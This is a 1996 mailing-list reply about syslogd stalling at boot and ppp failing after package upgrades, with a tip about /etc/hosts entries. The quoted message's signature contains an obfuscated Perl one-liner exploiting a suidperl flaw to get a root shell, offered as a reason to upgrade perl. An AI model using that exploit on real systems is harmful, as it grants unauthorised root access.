Re: syslogd won't start
I was having the same problem. What you need to do is a 'uname -a' from
that get your hostname and make sure there is an entry in the /etc/hosts
file for both that hostname and the hostname.domainname, if you are using
dynamic ip w/ ppp just set your hostname to 127.0.0.1.
-Michael
On Thu, 3 Oct 1996, Joey Hess wrote:
> I'm having a problem with the sysklogd package. Sometimes when I boot up,
> it says it's starting syslogd, waits there for about a minute (much longer
> than usual), and then continues on to start klogd. It looks like syslogd
> isn't really starting when it delays this way, or it is dying after it
> starts up.
>
> Also, if I have this problem with starting syslogd, I can't seem to get a
> ppp connection up. Pppd never sends anything out to my modem when I start
> it, as far as I can tell.
>
> SOmetime when I boot up, syslogd starts up quickly and ppp works with no
> problems. I don't know what's going on.. This all started a few days back
> when I upgraded to sysklogd 1.3-11 and ppp 2.2.0f-6. I'm using the 2.0.21
> kernel.
>
> --
> #!/usr/bin/perl -i$>=0;$<=0;exec"/bin/sh"'>achmod jeh22@cornell.edu
> $_="echo '#!/usr/bin/suidperl -U\n$^I 2755aa";s=a= $ENV{HOME}/Imroot;=g;exec$_
> # Get root in 30 seconds or less. Fix this hole: upgrade to perl 5.003 today..
> "true - do nothing, successfully" - - true (1)
>
>
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